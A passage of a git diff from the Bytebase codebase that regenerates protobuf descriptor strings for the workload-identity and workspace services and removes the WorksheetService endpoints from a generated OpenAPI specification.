bWU9dXNlcnMvKn06dW5kZWxldGUSoQEKC1VwZGF0ZUVtYWlsEh8uYnl0ZWJhc2UudjEuVXBkYXRlRW1haWxSZXF1ZXN0GhEuYnl0ZWJhc2UudjEuVXNlciJe2kEKbmFtZSxlbWFpbIrqMBRiYi51c2Vycy51cGRhdGVFbWFpbJDqMAGY6jABoOowA6jqMAaC0+STAiM6ASoiHi92MS97bmFtZT11c2Vycy8qfTp1cGRhdGVFbWFpbEKmAQoPY29tLmJ5dGViYXNlLnYxQhBVc2VyU2VydmljZVByb3RvUAFaNGdpdGh1Yi5jb20vYnl0ZWJhc2UvYnl0ZWJhc2UvYmFja2VuZC9nZW5lcmF0ZWQtZ28vdjGiAgNCWFiqAgtCeXRlYmFzZS5WMcoCC0J5dGViYXNlXFYx4gIXQnl0ZWJhc2VcVjFcR1BCTWV0YWRhdGHqAgxCeXRlYmFzZTo6VjFiBnByb3RvMw", [file_buf_validate_validate, file_google_api_annotations, file_google_api_client, file_google_api_field_behavior, file_google_api_resource, file_google_protobuf_empty, file_google_protobuf_field_mask, file_google_protobuf_timestamp, file_v1_annotation, file_v1_common]);
/**
* Describes the message bytebase.v1.GetUserRequest.
diff --git a/frontend/src/types/proto-es/v1/workload_identity_service_pb.js b/frontend/src/types/proto-es/v1/workload_identity_service_pb.js
index e1d9ba80e7..fc77c5a8c6 100644
--- a/frontend/src/types/proto-es/v1/workload_identity_service_pb.js
+++ b/frontend/src/types/proto-es/v1/workload_identity_service_pb.js
@@ -16,7 +16,7 @@ import { file_v1_common } from "./common_pb";
* Describes the file v1/workload_identity_service.proto.
*/
export const file_v1_workload_identity_service = /*@__PURE__*/
- fileDesc("CiJ2MS93b3JrbG9hZF9pZGVudGl0eV9zZXJ2aWNlLnByb3RvEgtieXRlYmFzZS52MSKyAgoQV29ya2xvYWRJZGVudGl0eRIRCgRuYW1lGAEgASgJQgPgQQMSIQoFc3RhdGUYAiABKA4yEi5ieXRlYmFzZS52MS5TdGF0ZRISCgVlbWFpbBgDIAEoCUID4EEDEhcKBXRpdGxlGAQgASgJQgi6SAVyAxjIARI0CgtjcmVhdGVfdGltZRgFIAEoCzIaLmdvb2dsZS5wcm90b2J1Zi5UaW1lc3RhbXBCA+BBAxJFChh3b3JrbG9hZF9pZGVudGl0eV9jb25maWcYBiABKAsyIy5ieXRlYmFzZS52MS5Xb3JrbG9hZElkZW50aXR5Q29uZmlnOj7qQTsKHWJ5dGViYXNlLmNvbS9Xb3JrbG9hZElkZW50aXR5Ehp3b3JrbG9hZElkZW50aXRpZXMve2VtYWlsfSLwAQoWV29ya2xvYWRJZGVudGl0eUNvbmZpZxJHCg1wcm92aWRlcl90eXBlGAEgASgOMjAuYnl0ZWJhc2UudjEuV29ya2xvYWRJZGVudGl0eUNvbmZpZy5Qcm92aWRlclR5cGUSEgoKaXNzdWVyX3VybBgCIAEoCRIZChFhbGxvd2VkX2F1ZGllbmNlcxgDIAMoCRIXCg9zdWJqZWN0X3BhdHRlcm4YBCABKAkiRQoMUHJvdmlkZXJUeXBlEh0KGVBST1ZJREVSX1RZUEVfVU5TUEVDSUZJRUQQABIKCgZHSVRIVUIQARIKCgZHSVRMQUIQAiKsAQodQ3JlYXRlV29ya2xvYWRJZGVudGl0eVJlcXVlc3QSKQoGcGFyZW50GAEgASgJQ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6VjFiBnByb3RvMw", [file_buf_validate_validate, file_google_api_annotations, file_google_api_client, file_google_api_field_behavior, file_google_api_resource, file_google_protobuf_empty, file_google_protobuf_field_mask, file_google_protobuf_timestamp, file_v1_annotation, file_v1_common]);
+ fileDesc("CiJ2MS93b3JrbG9hZF9pZGVudGl0eV9zZXJ2aWNlLnByb3RvEgtieXRlYmFzZS52MSKyAgoQV29ya2xvYWRJZGVudGl0eRIRCgRuYW1lGAEgASgJQgPgQQMSIQoFc3RhdGUYAiABKA4yEi5ieXRlYmFzZS52MS5TdGF0ZRISCgVlbWFpbBgDIAEoCUID4EEDEhcKBXRpdGxlGAQgASgJQgi6SAVyAxjIARI0CgtjcmVhdGVfdGltZRgFIAEoCzIaLmdvb2dsZS5wcm90b2J1Zi5UaW1lc3RhbXBCA+BBAxJFChh3b3JrbG9hZF9pZGVudGl0eV9jb25maWcYBiABKAsyIy5ieXRlYmFzZS52MS5Xb3JrbG9hZElkZW50aXR5Q29uZmlnOj7qQTsKHWJ5dGViYXNlLmNvbS9Xb3JrbG9hZElkZW50aXR5Ehp3b3JrbG9hZElkZW50aXRpZXMve2VtYWlsfSLwAQoWV29ya2xvYWRJZGVudGl0eUNvbmZpZxJHCg1wcm92aWRlcl90eXBlGAEgASgOMjAuYnl0ZWJhc2UudjEuV29ya2xvYWRJZGVudGl0eUNvbmZpZy5Qcm92aWRlclR5cGUSEgoKaXNzdWVyX3VybBgCIAEoCRIZChFhbGxvd2VkX2F1ZGllbmNlcxgDIAMoCRIXCg9zdWJqZWN0X3BhdHRlcm4YBCABKAkiRQoMUHJvdmlkZXJUeXBlEh0KGVBST1ZJREVSX1RZUEVfVU5TUEVDSUZJRUQQABIKCgZHSVRIVUIQARIKCgZHSVRMQUIQAiKsAQodQ3JlYXRlV29ya2xvYWRJZGVudGl0eVJlcXVlc3QSKQoGcGFyZW50GAEgASgJQhn6QRYKFGJ5dGViYXNlLmNvbS9Qcm9qZWN0EiEKFHdvcmtsb2FkX2lkZW50aXR5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UmVxdWVzdBodLmJ5dGViYXNlLnYxLldvcmtsb2FkSWRlbnRpdHkinAHaQR13b3JrbG9hZF9pZGVudGl0eSx1cGRhdGVfbWFza4rqMBxiYi53b3JrbG9hZElkZW50aXRpZXMudXBkYXRlkOowAZjqMAGg6jADqOowBoLT5JMCRjoRd29ya2xvYWRfaWRlbnRpdHkyMS92MS97d29ya2xvYWRfaWRlbnRpdHkubmFtZT13b3JrbG9hZElkZW50aXRpZXMvKn0StAEKFkRlbGV0ZVdvcmtsb2FkSWRlbnRpdHkSKi5ieXRlYmFzZS52MS5EZWxldGVXb3JrbG9hZElkZW50aXR5UmVxdWVzdBoWLmdvb2dsZS5wcm90b2J1Zi5FbXB0eSJW2kEEbmFtZYrqMBxiYi53b3JrbG9hZElkZW50aXRpZXMuZGVsZXRlkOowAZjqMAGC0+STAiEqHy92MS97bmFtZT13b3JrbG9hZElkZW50aXRpZXMvKn0SxgEKGFVuZGVsZXRlV29ya2xvYWRJZGVudGl0eRIsLmJ5dGViYXNlLnYxLlVuZGVsZXRlV29ya2xvYWRJZGVudGl0eVJlcXVlc3QaHS5ieXRlYmFzZS52MS5Xb3JrbG9hZElkZW50aXR5Il2K6jAeYmIud29ya2xvYWRJZGVudGl0aWVzLnVuZGVsZXRlkOowAZjqMAGC0+STAi06ASoiKC92MS97bmFtZT13b3JrbG9hZElkZW50aXRpZXMvKn06dW5kZWxldGVCsgEKD2NvbS5ieXRlYmFzZS52MUIcV29ya2xvYWRJZGVudGl0eVNlcnZpY2VQcm90b1ABWjRnaXRodWIuY29tL2J5dGViYXNlL2J5dGViYXNlL2JhY2tlbmQvZ2VuZXJhdGVkLWdvL3YxogIDQlhYqgILQnl0ZWJhc2UuVjHKAgtCeXRlYmFzZVxWMeICF0J5dGViYXNlXFYxXEdQQk1ldGFkYXRh6gIMQnl0ZWJhc2U6OlYxYgZwcm90bzM", [file_buf_validate_validate, file_google_api_annotations, file_google_api_client, file_google_api_field_behavior, file_google_api_resource, file_google_protobuf_empty, file_google_protobuf_field_mask, file_google_protobuf_timestamp, file_v1_annotation, file_v1_common]);
/**
* Describes the message bytebase.v1.WorkloadIdentity.
diff --git a/frontend/src/types/proto-es/v1/workspace_service_pb.js b/frontend/src/types/proto-es/v1/workspace_service_pb.js
index 17786fef74..af140a791e 100644
--- a/frontend/src/types/proto-es/v1/workspace_service_pb.js
+++ b/frontend/src/types/proto-es/v1/workspace_service_pb.js
@@ -16,7 +16,7 @@ import { file_v1_iam_policy } from "./iam_policy_pb";
* Describes the file v1/workspace_service.proto.
*/
export const file_v1_workspace_service = /*@__PURE__*/
- fileDesc("Chp2MS93b3Jrc3BhY2Vfc2VydmljZS5wcm90bxILYnl0ZWJhc2UudjEiTwofUm90YXRlRGlyZWN0b3J5U3luY1Rva2VuUmVxdWVzdBIsCgRuYW1lGAEgASgJQh7gQQL6QRgKFmJ5dGViYXNlLmNvbS9Xb3Jrc3BhY2UiNgogUm90YXRlRGlyZWN0b3J5U3luY1Rva2VuUmVzcG9uc2USEgoFdG9rZW4YASABKAlCA+BBAyIXChVMaXN0V29ya3NwYWNlc1JlcXVlc3QiRAoWTGlzdFdvcmtzcGFjZXNSZXNwb25zZRIqCgp3b3Jrc3BhY2VzGAEgAygLMhYuYnl0ZWJhc2UudjEuV29ya3NwYWNlIiMKE0dldFdvcmtzcGFjZVJlcXVlc3QSDAoEbmFtZRgBIAEoCSI2CglXb3Jrc3BhY2USDAoEbmFtZRgBIAEoCRINCgV0aXRsZRgCIAEoCRIMCgRsb2dvGAMgASgJIisKFkRlbGV0ZVdvcmtzcGFjZVJlcXVlc3QSEQoEbmFtZRgBIAEoCUID4EECInkKFlVwZGF0ZVdvcmtzcGFjZVJlcXVlc3QSLgoJd29ya3NwYWNlGAEgASgLMhYuYnl0ZWJhc2UudjEuV29ya3NwYWNlQgPgQQISLwoLdXBkYXRlX21hc2sYAiABKAsyGi5nb29nbGUucHJvdG9idWYuRmllbGRNYXNrIioKFUxlYXZlV29ya3NwYWNlUmVxdWVz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F1ZXN0GhouYnl0ZWJhc2UudjEuTG9naW5SZXNwb25zZSI0kOowApjqMAGg6jADgtPkkwIiOgEqIh0vdjEve25hbWU9d29ya3NwYWNlcy8qfTpsZWF2ZRKjAQoMU2V0SWFtUG9saWN5EiAuYnl0ZWJhc2UudjEuU2V0SWFtUG9saWN5UmVxdWVzdBoWLmJ5dGViYXNlLnYxLklhbVBvbGljeSJZiuowGmJiLndvcmtzcGFjZXMuc2V0SWFtUG9saWN5kOowAZjqMAGC0+STAi06ASoiKC92MS97cmVzb3VyY2U9d29ya3NwYWNlcy8qfTpzZXRJYW1Qb2xpY3kS7QEKGFJvdGF0ZURpcmVjdG9yeVN5bmNUb2tlbhIsLmJ5dGViYXNlLnYxLlJvdGF0ZURpcmVjdG9yeVN5bmNUb2tlblJlcXVlc3QaLS5ieXRlYmFzZS52MS5Sb3RhdGVEaXJlY3RvcnlTeW5jVG9rZW5SZXNwb25zZSJ02kEEbmFtZYrqMCZiYi53b3Jrc3BhY2VzLnJvdGF0ZURpcmVjdG9yeVN5bmNUb2tlbpDqMAGY6jABgtPkkwI1OgEqIjAvdjEve25hbWU9d29ya3NwYWNlcy8qfTpyb3RhdGVEaXJlY3RvcnlTeW5jVG9rZW5CqwEKD2NvbS5ieXRlYmFzZS52MUIVV29ya3NwYWNlU2VydmljZVByb3RvUAFaNGdpdGh1Yi5jb20vYnl0ZWJhc2UvYnl0ZWJhc2UvYmFja2VuZC9nZW5lcmF0ZWQtZ28vdjGiAgNCWFiqAgtCeXRlYmFzZS5WMcoCC0J5dGViYXNlXFYx4gIXQnl0ZWJhc2VcVjFcR1BCTWV0YWRhdGHqAgxCeXRlYmFzZTo6VjFiBnByb3RvMw", [file_google_api_annotations, file_google_api_client, file_google_api_field_behavior, file_google_api_resource, file_google_protobuf_field_mask, file_v1_annotation, file_v1_auth_service, file_v1_iam_policy]);
+ fileDesc("Chp2MS93b3Jrc3BhY2Vfc2VydmljZS5wcm90bxILYnl0ZWJhc2UudjEiTwofUm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wuYnl0ZWJhc2UudjEuUm90YXRlRGlyZWN0b3J5U3luY1Rva2VuUmVxdWVzdBotLmJ5dGViYXNlLnYxLlJvdGF0ZURpcmVjdG9yeVN5bmNUb2tlblJlc3BvbnNlInzaQQRuYW1liuowJmJiLndvcmtzcGFjZXMucm90YXRlRGlyZWN0b3J5U3luY1Rva2VukOowAZjqMAGg6jADqOowBoLT5JMCNToBKiIwL3YxL3tuYW1lPXdvcmtzcGFjZXMvKn06cm90YXRlRGlyZWN0b3J5U3luY1Rva2VuQqsBCg9jb20uYnl0ZWJhc2UudjFCFVdvcmtzcGFjZVNlcnZpY2VQcm90b1ABWjRnaXRodWIuY29tL2J5dGViYXNlL2J5dGViYXNlL2JhY2tlbmQvZ2VuZXJhdGVkLWdvL3YxogIDQlhYqgILQnl0ZWJhc2UuVjHKAgtCeXRlYmFzZVxWMeICF0J5dGViYXNlXFYxXEdQQk1ldGFkYXRh6gIMQnl0ZWJhc2U6OlYxYgZwcm90bzM", [file_google_api_annotations, file_google_api_client, file_google_api_field_behavior, file_google_api_resource, file_google_protobuf_field_mask, file_v1_annotation, file_v1_auth_service, file_v1_iam_policy]);
/**
* Describes the message bytebase.v1.RotateDirectorySyncTokenRequest.
diff --git a/proto/gen/grpc-doc/openapi.yaml b/proto/gen/grpc-doc/openapi.yaml
index d25e509bc0..50d1169c36 100644
--- a/proto/gen/grpc-doc/openapi.yaml
+++ b/proto/gen/grpc-doc/openapi.yaml
@@ -15120,827 +15120,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/bytebase.v1.WorkloadIdentity'
- /v1/projects/{project}/worksheetFolders:
- get:
- tags:
- - WorksheetService
- summary: ListWorksheetFolders
- description: |-
- List the caller's worksheet folders.
- Only folders stored in the caller's worksheet organizer are returned.
- operationId: WorksheetService_ListWorksheetFolders
- parameters:
- - name: project
- in: path
- description: The project id.
- required: true
- schema:
- type: string
- responses:
- "200":
- description: Success
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.ListWorksheetFoldersResponse'
- /v1/projects/{project}/worksheets:
- get:
- tags:
- - WorksheetService
- summary: ListWorksheets
- description: |-
- List worksheets.
- This is used for listing worksheets in a project, or across all projects by using `projects/-`.
- Permissions required: bb.worksheets.list
- operationId: WorksheetService_ListWorksheets
- parameters:
- - name: project
- in: path
- description: The project id.
- required: true
- schema:
- type: string
- - name: filter
- in: query
- description: |-
- To filter the list result.
- The syntax and semantics of CEL are documented at https://github.com/google/cel-spec
-
- Supported filter:
- - creator: the worksheet creator in "users/{email}" format, support "==" and "!=" operator.
-
- For example:
- creator == "users/{email}"
- creator != "users/{email}"
- schema:
- type: string
- title: filter
- - name: pageSize
- in: query
- description: |-
- The maximum number of worksheets to return. The service may return fewer than
- this value.
- If unspecified, at most 10 worksheets will be returned.
- The maximum value is 1000; values above 1000 will be coerced to 1000.
- schema:
- type: integer
- title: page_size
- format: int32
- - name: pageToken
- in: query
- description: |-
- A page token, received from a previous `ListWorksheets` call.
- Provide this to retrieve the subsequent page.
-
- When paginating, all other parameters provided to `ListWorksheets` must match
- the call that provided the page token.
- schema:
- type: string
- title: page_token
- responses:
- "200":
- description: Success
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.ListWorksheetsResponse'
- post:
- tags:
- - WorksheetService
- summary: CreateWorksheet
- description: |-
- Creates a personal worksheet used in SQL Editor. Any authenticated user can create their own worksheets.
- Permissions required: None (authenticated users only)
- operationId: WorksheetService_CreateWorksheet
- parameters:
- - name: project
- in: path
- description: The project id.
- required: true
- schema:
- type: string
- requestBody:
- description: The worksheet to create.
- content:
- application/json:
- schema:
- title: worksheet
- description: The worksheet to create.
- $ref: '#/components/schemas/bytebase.v1.Worksheet'
- responses:
- "200":
- description: Success
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.Worksheet'
- /v1/projects/{project}/worksheets/organizers:batchUpdate:
- post:
- tags:
- - WorksheetService
- summary: BatchUpdateWorksheetOrganizer
- description: |-
- Batch update the organizers of worksheets.
- The access is the same as UpdateWorksheet method.
- Permissions required: bb.worksheets.get (or creator, or project member for shared worksheets)
- operationId: WorksheetService_BatchUpdateWorksheetOrganizer
- parameters:
- - name: project
- in: path
- description: The project id.
- required: true
- schema:
- type: string
- requestBody:
- content:
- application/json:
- schema:
- type: object
- properties:
- filter:
- type: string
- title: filter
- description: |-
- To filter the batch update target.
- The syntax and semantics of CEL are documented at https://github.com/google/cel-spec
-
- Supported filter:
- - name: the worksheet name in "projects/{project}/worksheets/{worksheet}" format, support "==" and "in [xx]" operator.
- - creator: the worksheet creator in "users/{email}" format, support "==" and "!=" operator.
- - starred: should be "true" or "false", filter starred/unstarred sheets, support "==" operator.
- - visibility: check Visibility enum in the Worksheet message for values, support "==" and "in [xx]" operator.
- - folder: the worksheet organizer folder path, support exact "==" operator.
- organizer:
- title: organizer
- description: The organizer fields to update.
- $ref: '#/components/schemas/bytebase.v1.WorksheetOrganizer'
- updateMask:
- title: update_mask
- description: |-
- The list of fields to be updated.
- Fields are specified relative to the worksheet organizer.
- Only support update the following fields for now:
- - `starred`
- - `folders`
- $ref: '#/components/schemas/google.protobuf.FieldMask'
- title: BatchUpdateWorksheetOrganizerRequest
- required:
- - organizer
- - updateMask
- additionalProperties: false
- required: true
- responses:
- "200":
- description: Success
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.BatchUpdateWorksheetOrganizerResponse'
- /v1/projects/{project}/worksheets/{worksheet}:
- get:
- tags:
- - WorksheetService
- summary: GetWorksheet
- description: |-
- Get a worksheet by name.
- The users can access this method if,
- - they are the creator of the worksheet;
- - they have bb.worksheets.get permission on the workspace;
- - the sheet is shared with them with PROJECT_READ and PROJECT_WRITE visibility, and they have bb.projects.get permission on the project.
- Permissions required: bb.worksheets.get (or creator, or project member for shared worksheets)
- operationId: WorksheetService_GetWorksheet
- parameters:
- - name: project
- in: path
- description: The project id.
- required: true
- schema:
- type: string
- - name: worksheet
- in: path
- description: The worksheet id.
- required: true
- schema:
- type: string
- responses:
- "200":
- description: Success
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.Worksheet'
- delete:
- tags:
- - WorksheetService
- summary: DeleteWorksheet
- description: |-
- Delete a worksheet.
- The access is the same as UpdateWorksheet method.
- Permissions required: bb.worksheets.manage (or creator, or project member for PROJECT_WRITE worksheets)
- operationId: WorksheetService_DeleteWorksheet
- parameters:
- - name: project
- in: path
- description: The project id.
- required: true
- schema:
- type: string
- - name: worksheet
- in: path
- description: The worksheet id.
- required: true
- schema:
- type: string
- responses:
- "200":
- description: Success
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/google.protobuf.Empty'
- patch:
- tags:
- - WorksheetService
- summary: UpdateWorksheet
- description: |-
- Update a worksheet.
- The users can access this method if,
- - they are the creator of the worksheet;
- - they have bb.worksheets.manage permission on the workspace;
- - the sheet is shared with them with PROJECT_WRITE visibility, and they have bb.projects.get permission on the project.
- Permissions required: bb.worksheets.manage (or creator, or project member for PROJECT_WRITE worksheets)
- operationId: WorksheetService_UpdateWorksheet
- parameters:
- - name: project
- in: path
- description: The project id.
- required: true
- schema:
- type: string
- - name: worksheet
- in: path
- description: The worksheet id.
- required: true
- schema:
- type: string
- - name: updateMask
- in: query
- description: |-
- `FieldMask` represents a set of symbolic field paths, for example:
-
- paths: "f.a"
- paths: "f.b.d"
-
- Here `f` represents a field in some root message, `a` and `b`
- fields in the message found in `f`, and `d` a field found in the
- message in `f.b`.
-
- Field masks are used to specify a subset of fields that should be
- returned by a get operation or modified by an update operation.
- Field masks also have a custom JSON encoding (see below).
-
- # Field Masks in Projections
-
- When used in the context of a projection, a response message or
- sub-message is filtered by the API to only contain those fields as
- specified in the mask. For example, if the mask in the previous
- example is applied to a response message as follows:
-
- f {
- a : 22
- b {
- d : 1
- x : 2
- }
- y : 13
- }
- z: 8
-
- The result will not contain specific values for fields x,y and z
- (their value will be set to the default, and omitted in proto text
- output):
-
-
- f {
- a : 22
- b {
- d : 1
- }
- }
-
- A repeated field is not allowed except at the last position of a
- paths string.
-
- If a FieldMask object is not present in a get operation, the
- operation applies to all fields (as if a FieldMask of all fields
- had been specified).
-
- Note that a field mask does not necessarily apply to the
- top-level response message. In case of a REST get operation, the
- field mask applies directly to the response, but in case of a REST
- list operation, the mask instead applies to each individual message
- in the returned resource list. In case of a REST custom method,
- other definitions may be used. Where the mask applies will be
- clearly documented together with its declaration in the API. In
- any case, the effect on the returned resource/resources is required
- behavior for APIs.
-
- # Field Masks in Update Operations
-
- A field mask in update operations specifies which fields of the
- targeted resource are going to be updated. The API is required
- to only change the values of the fields as specified in the mask
- and leave the others untouched. If a resource is passed in to
- describe the updated values, the API ignores the values of all
- fields not covered by the mask.
-
- If a repeated field is specified for an update operation, new values will
- be appended to the existing repeated field in the target resource. Note that
- a repeated field is only allowed in the last position of a `paths` string.
-
- If a sub-message is specified in the last position of the field mask for an
- update operation, then new value will be merged into the existing sub-message
- in the target resource.
-
- For example, given the target message:
-
- f {
- b {
- d: 1
- x: 2
- }
- c: [1]
- }
-
- And an update message:
-
- f {
- b {
- d: 10
- }
- c: [2]
- }
-
- then if the field mask is:
-
- paths: ["f.b", "f.c"]
-
- then the result will be:
-
- f {
- b {
- d: 10
- x: 2
- }
- c: [1, 2]
- }
-
- An implementation may provide options to override this default behavior for
- repeated and message fields.
-
- In order to reset a field's value to the default, the field must
- be in the mask and set to the default value in the provided resource.
- Hence, in order to reset all fields of a resource, provide a default
- instance of the resource and set all fields in the mask, or do
- not provide a mask as described below.
-
- If a field mask is not present on update, the operation applies to
- all fields (as if a field mask of all fields has been specified).
- Note that in the presence of schema evolution, this may mean that
- fields the client does not know and has therefore not filled into
- the request will be reset to their default. If this is unwanted
- behavior, a specific service may require a client to always specify
- a field mask, producing an error if not.
-
- As with get operations, the location of the resource which
- describes the updated values in the request message depends on the
- operation kind. In any case, the effect of the field mask is
- required to be honored by the API.
-
- ## Considerations for HTTP REST
-
- The HTTP kind of an update operation which uses a field mask must
- be set to PATCH instead of PUT in order to satisfy HTTP semantics
- (PUT must only be used for full updates).
-
- # JSON Encoding of Field Masks
-
- In JSON, a field mask is encoded as a single string where paths are
- separated by a comma. Fields name in each path are converted
- to/from lower-camel naming conventions.
-
- As an example, consider the following message declarations:
-
- message Profile {
- User user = 1;
- Photo photo = 2;
- }
- message User {
- string display_name = 1;
- string address = 2;
- }
-
- In proto a field mask for `Profile` may look as such:
-
- mask {
- paths: "user.display_name"
- paths: "photo"
- }
-
- In JSON, the same mask is represented as below:
-
- {
- mask: "user.displayName,photo"
- }
-
- # Field Masks and Oneof Fields
-
- Field masks treat fields in oneofs just as regular fields. Consider the
- following message:
-
- message SampleMessage {
- oneof test_oneof {
- string name = 4;
- SubMessage sub_message = 9;
- }
- }
-
- The field mask can be:
-
- mask {
- paths: "name"
- }
-
- Or:
-
- mask {
- paths: "sub_message"
- }
-
- Note that oneof type names ("test_oneof" in this case) cannot be used in
- paths.
-
- ## Field Mask Verification
-
- The implementation of any API method which has a FieldMask type field in the
- request should verify the included field paths, and return an
- `INVALID_ARGUMENT` error if any path is unmappable.
- schema:
- type: string
- requestBody:
- description: |-
- The worksheet to update.
-
- The worksheet's `name` field is used to identify the worksheet to update.
- Format: projects/{project}/worksheets/{worksheet}
- content:
- application/json:
- schema:
- title: worksheet
- description: |-
- The worksheet to update.
-
- The worksheet's `name` field is used to identify the worksheet to update.
- Format: projects/{project}/worksheets/{worksheet}
- $ref: '#/components/schemas/bytebase.v1.Worksheet'
- responses:
- "200":
- description: Success
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.Worksheet'
- /v1/projects/{project}/worksheets/{worksheet}/organizer:
- patch:
- tags:
- - WorksheetService
- summary: UpdateWorksheetOrganizer
- description: |-
- Update the organizer of a worksheet.
- The access is the same as UpdateWorksheet method.
- Permissions required: bb.worksheets.get (or creator, or project member for shared worksheets)
- operationId: WorksheetService_UpdateWorksheetOrganizer
- parameters:
- - name: project
- in: path
- description: The project id.
- required: true
- schema:
- type: string
- - name: worksheet
- in: path
- description: The worksheet id.
- required: true
- schema:
- type: string
- - name: updateMask
- in: query
- description: |-
- `FieldMask` represents a set of symbolic field paths, for example:
-
- paths: "f.a"
- paths: "f.b.d"
-
- Here `f` represents a field in some root message, `a` and `b`
- fields in the message found in `f`, and `d` a field found in the
- message in `f.b`.
-
- Field masks are used to specify a subset of fields that should be
- returned by a get operation or modified by an update operation.
- Field masks also have a custom JSON encoding (see below).
-
- # Field Masks in Projections
-
- When used in the context of a projection, a response message or
- sub-message is filtered by the API to only contain those fields as
- specified in the mask. For example, if the mask in the previous
- example is applied to a response message as follows:
-
- f {
- a : 22
- b {
- d : 1
- x : 2
- }
- y : 13
- }
- z: 8
-
- The result will not contain specific values for fields x,y and z
- (their value will be set to the default, and omitted in proto text
- output):
-
-
- f {
- a : 22
- b {
- d : 1
- }
- }
-
- A repeated field is not allowed except at the last position of a
- paths string.
-
- If a FieldMask object is not present in a get operation, the
- operation applies to all fields (as if a FieldMask of all fields
- had been specified).
-
- Note that a field mask does not necessarily apply to the
- top-level response message. In case of a REST get operation, the
- field mask applies directly to the response, but in case of a REST
- list operation, the mask instead applies to each individual message
- in the returned resource list. In case of a REST custom method,
- other definitions may be used. Where the mask applies will be
- clearly documented together with its declaration in the API. In
- any case, the effect on the returned resource/resources is required
- behavior for APIs.
-
- # Field Masks in Update Operations
-
- A field mask in update operations specifies which fields of the
- targeted resource are going to be updated. The API is required
- to only change the values of the fields as specified in the mask
- and leave the others untouched. If a resource is passed in to
- describe the updated values, the API ignores the values of all
- fields not covered by the mask.
-
- If a repeated field is specified for an update operation, new values will
- be appended to the existing repeated field in the target resource. Note that
- a repeated field is only allowed in the last position of a `paths` string.
-
- If a sub-message is specified in the last position of the field mask for an
- update operation, then new value will be merged into the existing sub-message
- in the target resource.
-
- For example, given the target message:
-
- f {
- b {
- d: 1
- x: 2
- }
- c: [1]
- }
-
- And an update message:
-
- f {
- b {
- d: 10
- }
- c: [2]
- }
-
- then if the field mask is:
-
- paths: ["f.b", "f.c"]
-
- then the result will be:
-
- f {
- b {
- d: 10
- x: 2
- }
- c: [1, 2]
- }
-
- An implementation may provide options to override this default behavior for
- repeated and message fields.
-
- In order to reset a field's value to the default, the field must
- be in the mask and set to the default value in the provided resource.
- Hence, in order to reset all fields of a resource, provide a default
- instance of the resource and set all fields in the mask, or do
- not provide a mask as described below.
-
- If a field mask is not present on update, the operation applies to
- all fields (as if a field mask of all fields has been specified).
- Note that in the presence of schema evolution, this may mean that
- fields the client does not know and has therefore not filled into
- the request will be reset to their default. If this is unwanted
- behavior, a specific service may require a client to always specify
- a field mask, producing an error if not.
-
- As with get operations, the location of the resource which
- describes the updated values in the request message depends on the
- operation kind. In any case, the effect of the field mask is
- required to be honored by the API.
-
- ## Considerations for HTTP REST
-
- The HTTP kind of an update operation which uses a field mask must
- be set to PATCH instead of PUT in order to satisfy HTTP semantics
- (PUT must only be used for full updates).
-
- # JSON Encoding of Field Masks
-
- In JSON, a field mask is encoded as a single string where paths are
- separated by a comma. Fields name in each path are converted
- to/from lower-camel naming conventions.
-
- As an example, consider the following message declarations:
-
- message Profile {
- User user = 1;
- Photo photo = 2;
- }
- message User {
- string display_name = 1;
- string address = 2;
- }
-
- In proto a field mask for `Profile` may look as such:
-
- mask {
- paths: "user.display_name"
- paths: "photo"
- }
-
- In JSON, the same mask is represented as below:
-
- {
- mask: "user.displayName,photo"
- }
-
- # Field Masks and Oneof Fields
-
- Field masks treat fields in oneofs just as regular fields. Consider the
- following message:
-
- message SampleMessage {
- oneof test_oneof {
- string name = 4;
- SubMessage sub_message = 9;
- }
- }
-
- The field mask can be:
-
- mask {
- paths: "name"
- }
-
- Or:
-
- mask {
- paths: "sub_message"
- }
-
- Note that oneof type names ("test_oneof" in this case) cannot be used in
- paths.
-
- ## Field Mask Verification
-
- The implementation of any API method which has a FieldMask type field in the
- request should verify the included field paths, and return an
- `INVALID_ARGUMENT` error if any path is unmappable.
- schema:
- type: string
- - name: allowMissing
- in: query
- description: |-
- If set to true, and the worksheet organizer is not found, a new worksheet organizer will be created.
- In this situation, `update_mask` is ignored.
- schema:
- type: boolean
- title: allow_missing
- requestBody:
- description: |-
- The organizer to update.
-
- The organizer's `worksheet` field is used to identify the worksheet.
- Format: projects/{project}/worksheets/{worksheet}
- content:
- application/json:
- schema:
- title: organizer
- description: |-
- The organizer to update.
-
- The organizer's `worksheet` field is used to identify the worksheet.
- Format: projects/{project}/worksheets/{worksheet}
- $ref: '#/components/schemas/bytebase.v1.WorksheetOrganizer'
- responses:
- "200":
- description: Success
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/bytebase.v1.WorksheetOrganizer'
- /v1/projects/{project}/worksheets:search:
- post:
- tags:
- - WorksheetService
- summary: SearchWorksheets
- description: |-
- Search for worksheets.
- This is used for finding my worksheets or worksheets shared by other people.
- The sheet accessibility is the same as GetWorksheet().
- Permissions required: bb.worksheets.get (or creator, or project member for shared worksheets)
- operationId: WorksheetService_SearchWorksheets
- parameters:
- - name: project
- in: path
- description: The project id.
- required: true
- schema:
- type: string
- requestBody:
- content:
- application/json:
- schema:
- type: object
- properties:
- filter:
- type: string
- title: filter
- description: |-
- To filter the search result.
- The syntax and semantics of CEL are documented at https://github.com/google/cel-spec
-
- Supported filter:
- - name: the worksheet name in "projects/{project}/worksheets/{worksheet}" format, support "==" and "in [xx]" operator.
- - title: the worksheet title, support "contains" operator.
- - creator: the worksheet creator in "users/{email}" format, support "==" and "!=" operator.
- - starred: should be "true" or "false", filter starred/unstarred sheets, support "==" operator.
- - visibility: check Visibility enum in the Worksheet message for values, support "==" and "in [xx]" operator.
- - folder: the worksheet organizer folder path, support "==" operator.
-
- For example:
- creator == "users/{email}"
- title.contains("worksheet title")
- creator != "users/{email}"
- starred == true
- starred == false
- visibility in ["PRIVATE", "PROJECT_READ", "PROJECT_WRITE"]
- visibility == "PRIVATE"
- folder == "foo/bar"
- pageSize:
- type: integer
- title: page_size
- format: int32
- description: |-
- The maximum number of worksheets to return. The service may return fewer than
- this value.
- If unspecified, at most 10 worksheets will be returned.
